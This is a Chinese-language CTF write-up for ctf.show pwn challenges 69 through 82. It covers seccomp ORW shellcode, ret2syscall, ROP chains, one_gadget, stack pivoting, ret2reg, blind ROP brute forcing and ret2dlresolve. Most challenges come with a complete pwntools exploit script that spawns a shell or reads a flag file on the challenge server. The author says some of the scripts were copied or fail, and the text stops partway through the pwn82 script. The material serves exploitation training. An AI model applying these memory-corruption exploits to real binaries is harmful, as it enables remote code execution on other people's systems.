sub_400906();
sub_400A16();
return 0LL;
}

看到 mmap 给我们划分了一个可写可执行的区域,从 0x123000 开始向后 0x1000个字节

1
2
3
4
5
6
7
8
9
10
11
__int64 sub_400949()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
return seccomp_load(v1);
}

沙箱函数,0x7FFF0000LL 为黑名单过滤,第三个参数是系统调用号。
可以查看一下沙箱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

只有这些是允许使用的

1
2
3
4
0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010

可以得到这个ORW的固定payload
利用 open 打开的 flag 文件后文件描述符是 3,所以使用的 read(3,mmap,0x100)这里也要文件描述符变成 3(因为 0,1,2 是标志的输入输出,标准错误)

1
2
3
4
shellcode = shellcraft.open("/ctfshow_flag")
shellcode += shellcraft.read(3,mmap_addr,0x100)
shellcode += shellcraft.write(1,mmap_addr,0x100)
shellcode = asm(shellcode)

看利用函数

1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Now you can use ORW to do");
read(0, buf, 0x38uLL);
return puts("No you don't understand I say!");
}

如果 read 读 buf 的0x100字节的话,那肯定已经利用成功了
buf 占 0x28 字节,只能从缓冲区读取 0x38个字节,只有16个字节是我们可以用的,肯定不够我们构造的 payload
所以我们只能选择把 payload 放在 mmap 分配的可写可执行地址上

思路 (!这是往 buf 里填充的 payload)

  • 读取 shellcode 到 mmap
  • 跳转到 mmap 处
  • 补满0x28字节,导致溢出
  • 溢出后 jmp_rsp_addr ,覆盖返回地址
  • 执行 rsp + 0x30 回到 buf 顶,执行读取 shellcode 到 mmap,跳转到 mmap 处执行
    (类似于栈迁移)

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28139)

padding = 0x28
jmp_rsp_addr = 0x400a01
mmap_addr = 0x123000
shellcode = shellcraft.open("/ctfshow_flag")
shellcode += shellcraft.read(3,mmap_addr,0x100)
shellcode += shellcraft.write(1,mmap_addr,0x100)
shellcode = asm(shellcode)

#读取内容放在mmap中, 跳转到mmap处执行shellcode
payload = asm(shellcraft.read(0,mmap_addr,0x100)) + asm("mov rax,0x123000; jmp rax")
payload = payload.ljust(padding, b'a')  # 填满padding
payload += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp") # 返回地址写跳转到buf开头 也就是rsp+0x30处
io.recvuntil("do\n")
io.sendline(payload) # 第一次执行payload
io.sendline(shellcode) # 第二次执行shellcraft.read(), ORW 操作
io.interactive()

pwn70

可以开始你的个人秀了 flag文件位置为/flag
64bit , 开启了沙箱,禁止了 execve

1
2
3
4
5
6
7
8
9
10
❯ seccomp-tools dump ./pwn
line CODE JT JF K
================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

同时还存在 strlen 的判断,输入的 a1是否在范围内,strlen 可以直接用00截断绕过,而 execve,可以直接用 cat /flag,绕过
利用 pwn66 中的 \x00 开头的汇编代码绕过即可,
解题脚本:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28246)

shellcode = asm(shellcraft.cat('/flag'))
payload = b'\x00\xc0' + shellcode
io.recvuntil("name:\n")
io.sendline(payload)
io.interactive()

pwn71 ret2syscall

32位的ret2syscall
先测试溢出值

1
2
3
4
5
6
7
8
9
10
11
12
13
──────────────────────────────────────[ BACKTRACE]───────────────────────────────────
► 0 0x8048e9b main+119
1 0x62616164 None
2 0x62616165 None
3 0x62616166 None
4 0x62616167 None
5 0x62616168 None
6 0x62616169 None
7 0x6261616a None

pwndbg> cyclic -l 0x62616164
Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162)
Found at offset 112
1
padding = 112

接下来就是正常的 ret2syscall
基本 rop 之一,意为 call system,控制程序执行系统调用,获取 shell
利用的是 execve("/bin/sh",NULL,NULL)
向寄存器存放的参数分别为:

  • 系统调用号,即 eax 应该为 0xb ; 此为 execve 对应的系统调用号
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0
  • int 0x80(触发中断)

先找 ROPgadget

1
2
3
4
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'eax'
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'ebx'
ROPgadget --binary ./pwn --string '/bin/sh'
ROPgadget --binary ./pwn --only 'int' (int 0x80)

然后构造 payload, 解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28217)

padding = 112
# 0x080bb196 : pop eax ; ret
pop_eax_ret_addr = 0x080bb196
# 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
pop_3_ret_addr = 0x0806eb90
# 0x08049421 : int 0x80
int_0x80 = 0x08049421
bin_sh_addr = 0x80BE408

payload = b'A' * padding + p32(pop_eax_ret_addr) + p32(0x0b) #0x0b = execve系统调用号
payload += p32(pop_3_ret_addr) + p32(0x0) + p32(0x0) + p32(bin_sh_addr) + p32(int_0x80)
io.recvuntil("ret2syscall!\n")
io.sendline(payload)
io.interactive()

pwn72 ret2syscall+read

接着练ret2syscall,多系统函数调用
32bit ,比 pwn71 相比少了 /bin/sh , 需要写入到 bss 段
vmmap 显示 bss 段可读可写
测试 padding

1
2
3
4
5
6
7
8
9
10
11
12
13
───────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
► 0 0x6161616c None
1 0x6161616d None
2 0x6161616e None
3 0x6161616f None
4 0x61616170 None
5 0x61616171 None
6 0x61616172 None
7 0x61616173 None

pwndbg> cyclic -l 0x6161616c
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44

先 syscall read 0x3 , 写入到 bss 段任意地址,int 0x80 中断
再 syscall execve 0xb ,get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28220)
# io = process('./pwn')

bss_addr = 0x80eb000
padding = 44
pop_eax_ret = 0x080bb2c6
pop_3_ret = 0x0806ecb0
int_0x80 = 0x0806F350
bin_sh_str = b"/bin/sh\x00"

payload = b'A' * padding + p32(pop_eax_ret) + p32(0x3) # 0x3 = read
payload += p32(pop_3_ret) + p32(0x10) + p32(bss_addr) + p32(0) + p32(int_0x80)
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_3_ret) + p32(0) + p32(0) + p32(bss_addr) + p32(int_0x80)
io.recvuntil("system?\n")
io.sendline(payload)
io.sendline(bin_sh_str)
io.interactive()

pwn73 ropchain

愉快的尝试一下一把梭吧!
32bit , 可以直接用 ROPgadget --binary pwn73 --ropchain , 自动构造 ROP 链来嗦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from struct import pack
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28277)
# io = process('./pwn')

padding = 0x1c
p = b'a' * padding

p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

io.sendline(p)
io.interactive()

pwn74 one_gadget

噢?好像到现在为止还没有了解到one_gadget?
64bit

  • checksec ./pwn
1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

保护全开…..
这里题目也提示用 one_gadget

one_gadget
one_gadget 是 libc 中存在的一些执行 execve(“/bin/sh”, NULL, NULL)的片段,当可以泄露 libc 地址,并且可以知道 libc 版本的时候,可以使用此方法来快速控制指令寄存器开启 shell。相比于 system(“/bin/sh”),这种方式更加方便,不用控制 RDI、RSI、RDX 等参数。运用于不利构造参数的情况。就是直接找 libc 库里可以直接用的函数调用

解题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ one_gadget ./libc/libc.so.6
0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
address rsp+0x50 is writable
rsp & 0xf == 0
rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

选择下面三个 execve ,但是都有约束条件 constraints
题目中也给了 printf 的地址 printf("What's this:%p ?\n", &printf);

写一下解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28109)
# io = process('./pwn')
libc = ELF("./libc/libc.so.6")   # 用的是ctfshow的 libc.so.6

# 0x10a2fc execve("/bin/sh", rsp+0x70, environ)
execve = 0x10a2fc
io.recvuntil("What's this:")
printf_addr = eval(io.recvuntil(b"?", drop=True))
print("printf_addr:",hex(printf_addr))    
libc_base = printf_addr - libc.sym['printf']     # 计算基地址
execve = execve + libc_base    #  偏移地址+基地址
io.sendline(str(execve))  
io.interactive()

pwn75 栈迁移

栈空间不够怎么办?
32bit , 利用栈迁移来做
详细见: https://xekoner.xyz/2025/04/22/ciscn-2019-es-2-writeup-%E6%A0%88%E8%BF%81%E7%A7%BB/

1
2
3
4
5
6
7
8
9
10
11
int ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Welcome, %s\n", s);
puts("What do you want to do?");
read(0, s, 0x30u);
return printf("Nothing here ,%s\n", s);
}

我们先泄露处 ebp_old 的地址

1
2
3
4
5
6
padding = 0x28    #! 注意不要覆盖返回地址, 此处0x28就是s的大小
leak_ebp = b'a' * (padding - 1) + b'b'
io.send(leak_ebp)
io.recvuntil('b')
ebp_addr = u32(io.recv(4))
print("ebp_addr:",hex(ebp_addr))

构造栈迁移 payload

1
'aaaa' + system_addr + system_ret + bin_sh_addr + '/bin/sh' + rubbishdata + s stack start + leave_ret
1
2
❯ ROPgadget --binary pwn --only 'leave|ret'
0x080484d5 : leave ; ret

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28299)
# io = process('./pwn')
libc = ELF("./libc/libc.so.6")   # 用的是ctfshow的 libc.so.6

padding = 0x28   #! 注意不要覆盖返回地址, 此处0x28就是s的大小
leak_ebp = b'a' * (padding - 1) + b'b'
io.send(leak_ebp)
io.recvuntil('b')
ebp_old_addr = u32(io.recv(4))
print("ebp_old_addr:",hex(ebp_old_addr))

leave_ret_addr = 0x080484d5
system_addr = elf.plt['system']
payload = b'aaaa' + p32(system_addr) + p32(0xdeadbeef) + p32((ebp_old_addr - 0x38) + 0x10) + b'/bin/sh'
payload = payload.ljust(0x28, b'\x00') + p32(ebp_old_addr-0x38) + p32(leave_ret_addr)
io.send(payload)
io.interactive()

pwn76 覆盖 ebp

还是那句话,理清逻辑很重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+18h] [ebp-28h] BYREF
char s[30]; // [esp+1Eh] [ebp-22h] BYREF
unsigned int v6; // [esp+3Ch] [ebp-4h]

memset(s, 0, sizeof(s));
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("CTFshow login: ");
_isoc99_scanf("%30s", s);
memset(&input, 0, 0xCu);
v4 = 0;
v6 = Base64Decode((int)s, &v4);
if ( v6 > 0xC )
{
puts("Input Error!");
}
else
{
memcpy(&input, v4, v6);
if ( auth(v6) )
correct();
}
return 0;
}

大体逻辑就是输入一个字符串,然后把这个字符串 base64.decode , 然后赋值给 v6 , 同时复制到了 input 的地址,然后 call auth 函数,函数内是
auth()

1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(int a1)
{
char v2[8]; // [esp+14h] [ebp-14h] BYREF
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h] BYREF

memcpy(&v4, &input, a1);
s2 = (char *)calc_md5(v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

将 input最后比较 md5是否相等, input 复制到 v4所在位置
注意 v4 大小是0x08 [ebp-8h]
但是 v6 最大可以到 0xC

1
2
3
4
5
v6 = Base64Decode((int)s, &v4);
if ( v6 > 0xC )
{
puts("Input Error!");
}

这就可以导致溢出,虽然只能溢出四个字节,不能覆盖返回地址,但是可以覆盖 ebp
当 call func 结束后会调用 leave ; ret
leave : esp 指向 ebp 的值,然后 pop ebp, esp + 4
ret : 从 ebp 弹出返回地址

所以我们只需要构造 :

1
b'aaaa' + system_binsh_addr + input_addr

最后别忘记 payload = base64.b64encode(payload).decode('utf-8')

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28256)
# io = process('./pwn')
libc = ELF("./libc/libc.so.6")   # 用的是ctfshow的 libc.so.6

bin_sh_addr = 0x8049284
input_addr = 0x811EB40
payload = b'aaaa' + p32(bin_sh_addr) + p32(input_addr)
payload = base64.b64encode(payload).decode('utf-8')
io.sendline(payload)
io.interactive()

pwn77 不会 ….

Ez ROP or Mid ROP ?
64bit 程序

1
2
3
4
5
6
7
8
❯ checksec ./pwn
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

反汇编

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
alarm(0x30u);
puts("T^T");
ctfshow();
return 0;
}
  • ctfshow()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 ctfshow()
{
int v0; // eax
__int64 result; // rax
char v2[267]; // [rsp+0h] [rbp-110h]
char v3; // [rsp+10Bh] [rbp-5h]
int v4; // [rsp+10Ch] [rbp-4h]

v4 = 0;
while ( !feof(stdin) ) //从标准输入中读取
{
v3 = fgetc(stdin);
if ( v3 == 10 ) // ASCII 10 = 换行
break;
v0 = v4++;
v2[v0] = v3;
}
result = v4;
v2[v4] = 0;
return result;
}

总体来说就是 gets 函数,有比较明显的溢出点: char v2[267]; // [rsp+0h] [rbp-110h]
同时题目也给明了是 ROP, 尝试 ret2libc

[+] 这里 padding 的时候要注意,v4是下标,要绕开
int v4; // [rsp+10Ch] [rbp-4h] : v4占 rbp-4 , 那就是距离 rbp 前四字节要让开

挺简单的一个 ret2libc ,就是 v4那块没搞懂,直接上答案 (v4下标那边死活不对,不想做了直接 pass)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
#from struct import pack
from LibcSearcher import *

#context.log_level = 'debug'
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#context(arch = 'i386',os = 'linux',log_level = 'debug')

io = remote('pwn.challenge.ctf.show',28196)
# io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc/libc.so.6')

rdiret = 0x4008e3
ret = 0x400576
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow = elf.sym['ctfshow']
io.recvuntil('T^T')
offsets = 0x110 - 4
payload = b'a' *offsets + p32(0x110 - 4 + 1) + p64(0) + p64(rdiret) + p64(puts_got) + p64(puts_plt) + p64(ctfshow)
io.sendline(payload)
real_puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(real_puts))
libc_base = real_puts - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
for binsh in libc.search('/bin/sh'):
    print(hex(binsh))
binsh += libc_base

payload = b'a' * offsets + p32(0x110 - 4 + 1) + p64(0) + p64(rdiret) + p64(binsh) + p64(ret) + p64(system_addr) + p64(ctfshow)
io.sendline(payload)
io.interactive()

pwn78

补发:64位ret2syscall

注意 : 找 syscall 的时候需要带 ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
objdump -d -M intel ./pwn | grep -A1 "syscall" 

--
45f125: 0f 05 syscall
45f127: c3 ret
--
45f135: 0f 05 syscall
45f137: c3 ret
--
45f145: 0f 05 syscall
45f147: c3 ret
--
45f155: 0f 05 syscall
45f157: c3 ret

应该都可以,其他的和正常 ret2syscall 64bit 一样
这里没有提供 /bin/sh , 需要再调用一次 read 手动写入

1
2
3
4
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rax'
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdi'
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rsi'
ROPgadget --binary ./pwn --only 'pop|ret' | grep 'rdx'

注意 x64 和 x86 的系统调用号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28112)
# io = process('./pwn')
libc = ELF("./libc/libc.so.6")   # 用的是ctfshow的 libc.so.6

bss_addr = 0x6c2000  # 直接gdb vmmap bss段开头就行
padding = 0x58
# 0x000000000046b9f8 : pop rax ; ret
pop_rax_ret_addr = 0x46b9f8
# 0x00000000004377f9 : pop rdx ; pop rsi ; ret
pop_rdx_rsi_ret_addr = 0x4377f9
syscall_addr = 0x45f155
# 0x00000000004016c3 : pop rdi ; ret
pop_rdi_ret_addr = 0x4016c3

payload = b'a' * padding + p64(pop_rax_ret_addr) + p64(0x0)
payload += p64(pop_rdi_ret_addr) + p64(0x0)
payload += p64(pop_rdx_rsi_ret_addr) + p64(0x10) + p64(bss_addr)
payload += p64(syscall_addr)

payload += p64(pop_rax_ret_addr) + p64(0x3b)
payload += p64(pop_rdi_ret_addr) + p64(bss_addr)
payload += p64(pop_rdx_rsi_ret_addr) + p64(0) + p64(0)
payload += p64(syscall_addr)

io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()

pwn79 ret2reg

你需要注意某些函数,这是解题的关键!
32bit 程序,保护全关,可以用 ret2libc 打,但是 recv 总是有奇奇怪怪的问题
这里用 ret2reg 做

No canary + NX disabled
先动调,在 leave 处打上断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> disassemble ctfshow
Dump of assembler code for function ctfshow:
0x0804867e <+0>: push ebp
0x0804867f <+1>: mov ebp,esp
0x08048681 <+3>: push ebx
0x08048682 <+4>: sub esp,0x204
0x08048688 <+10>: call 0x804872c <__x86.get_pc_thunk.ax>
0x0804868d <+15>: add eax,0x1973
0x08048692 <+20>: sub esp,0x8
0x08048695 <+23>: push DWORD PTR [ebp+0x8]
0x08048698 <+26>: lea edx,[ebp-0x208]
0x0804869e <+32>: push edx
0x0804869f <+33>: mov ebx,eax
0x080486a1 <+35>: call 0x80483d0 <strcpy@plt>
0x080486a6 <+40>: add esp,0x10
0x080486a9 <+43>: nop
0x080486aa <+44>: mov ebx,DWORD PTR [ebp-0x4]
=> 0x080486ad <+47>: leave
0x080486ae <+48>: ret
End of assembler dump.
1
b *0x080486ad

输入 aaaa 后在 leave 处观察寄存器情况:

1
2
3
4
5
6
7
8
9
10
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────
EAX 0xffffc7a0 ◂— 'aaaa\n'
EBX 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 1
ECX 0xffffc9c0 ◂— 'aaaa\n'
EDX 0xffffc7a0 ◂— 'aaaa\n'
EDI 0xf7ffcb60 (_rtld_global_ro) ◂— 0
ESI 0x8048730 (__libc_csu_init) ◂— push ebp
EBP 0xffffc9a8 —▸ 0xffffd1c8 ◂— 0
ESP 0xffffc7a0 ◂— 'aaaa\n'
*EIP 0x80486ad (ctfshow+47) ◂— leave

可以看到 eax, ecx, edx 都指向栈 aaaa 处,那我们就有思路:
因为没开栈不可执行,所以往栈里写入 shellcode,然后 call 或者 jmp 三个寄存器中的任意一个寄存器,就可以调用写入的 shellcode,从而 get shell

1
2
3
4
❯ ROPgadget --binary ./pwn --only 'call|eax'
Gadgets information
============================================================
0x080484a0 : call eax

解题脚本:
先发送 shellcode , 后补完 padding,最后 call 或者 jmp 调用

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'i386')
elf = ELF('./pwn')
io = remote("pwn.challenge.ctf.show",28175)
# io = process('./pwn')
libc = ELF("./libc/libc.so.6")  # 用的是ctfshow的 libc.so.6

padding = 0x20c
shellcode = asm(shellcraft.sh())
call_eax = 0x80484a0
payload = shellcode + b'a' * (padding - len(shellcode)) + p32(call_eax)
io.sendline(payload)
io.interactive()

pwn80 Blind ROP (BROP)

盲打 ret2libc , 主要是暴力枚举

  • padding 溢出到 ebp
  • 返回地址 (main/strat)
  • ret2csu 的连续 pop 地址 (在 No PIE 的情况下,ELF文件的头部内容为\x7fELF,可以根据这个来进行判断)
  • plt 地址
  • got 地址
  • 正常 ret2libc 流程

为了方便加上头部主体

1
2
3
4
5
6
from pwn import *
context(os='linux', log_level='debug', arch='i386')

def connection():
    io = remote("pwn.challenge.ctf.show", 28227)
    return io

爆破 padding:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def offset_find(): # crack padding
    offset = 0
    while True:
        try:
            sleep(0.01)
            offset += 1
            io = connection()
            io.recvuntil(b'daniu?\n')
            io.send(b'A' * offset)
            if b'No passwd' not in io.recvall():
                raise Exception('Program did not exit normally!')
            io.close()
        except Exception:
            log.success(f'++++++++++++++++ ebp length is {offset - 1}')
            return offset - 1
           
offset_find()

得到 padding = 72
继续爆破可以返回的地址(gadget stop func),以便我们持续攻击 (Main 或者 start 函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def GetStopAddr(offset):
    """Find a stop gadget (main/start function address)."""
    address = 0x400000
    while True:
        sleep(0.1)
        log.info(f"Trying address: {hex(address)}")
        try:
            io = connection()
            io.recvuntil(b'daniu?\n')
            payload = b'A' * offset + p64(address)
            io.send(payload)
            output = io.recv()

            if not output.startswith(b'Welcome to CTFshow-PWN ! Do you know who is daniu?'):
                io.close()
                address += 1
            else:
                log.success(f"++++++++++++++++ The Stop gadget is: {hex(address)}")
                return address
        except EOFError:
            address += 1    
            io.close()

offset = 72
GetStopAddr(offset)

后续找 csu 有点问题,先搁一段时间。

pwn81 ret2libc + No PIE

ROP变种
64bit 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // rax
void *handle; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
logo();
puts("Maybe it's simple,O.o");
handle = dlopen("libc.so.6", 258);
v3 = dlsym(handle, "system");
printf("%p\n", v3);
ctfshow(); //char buf[128]; return read(0, buf, 0x100uLL);
write(1, "Hello CTFshow!\n", 0xFuLL);
return 0;
}

read 有明显的溢出点, 但是开了 Full RELROPIE enabled ,得利用题目中泄露的 system 地址来计算基地址,然后利用基地址和偏移计算真实地址。
和 ret2libc 没什么区别,所以叫 ROP 变种咯
注意的是,ROPgadget 出来的地址也要加上偏移地址
不知道为什么远程和本地都打不通……………..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(os = 'linux',log_level = 'debug',arch = 'amd64')
elf = ELF('./pwn')
# io = remote("pwn.challenge.ctf.show",28159)
io = process('./pwn')
# libc = ELF("./libc/libc.so.6")  # 用的是ctfshow的 libc.so.6
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

padding = 0x88
io.recvuntil("O.o\n")
system_addr = eval(io.recvuntil("\n" , drop=True))
print("system_addr:",hex(system_addr))
libc_base = system_addr - libc.sym["system"]
print('libc_base:',hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
print('system:',hex(system_addr))
print('bin_sh:',hex(bin_sh_addr))
pop_rdi_ret_addr = libc_base + 0x2164f
ret_addr = libc_base + 0x8aa
payload = b'a' * padding + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()

82-85 为高级 ROP,基本都是 ret2dlresolve ,有点难就直接 AI 分析抄注释抄 wp 了,后续慢慢补上吧

pwn82 ret2dlresolve

高级ROP 32 位 NO-RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.log_level = 'debug'  
io = remote('pwn.challenge.ctf.show', 28214)
elf = ELF("./pwn")
rop = ROP("./pwn")  

io.recvuntil('Welcome to CTFshowPWN!\n')  
offset = 112
rop.raw(offset * 'a')  
rop.read(0, 0x08049804 + 4, 4)  # 调用read读取四字节, 将 DT_STRTAB 指向我们伪造的 .dynstr 字符串
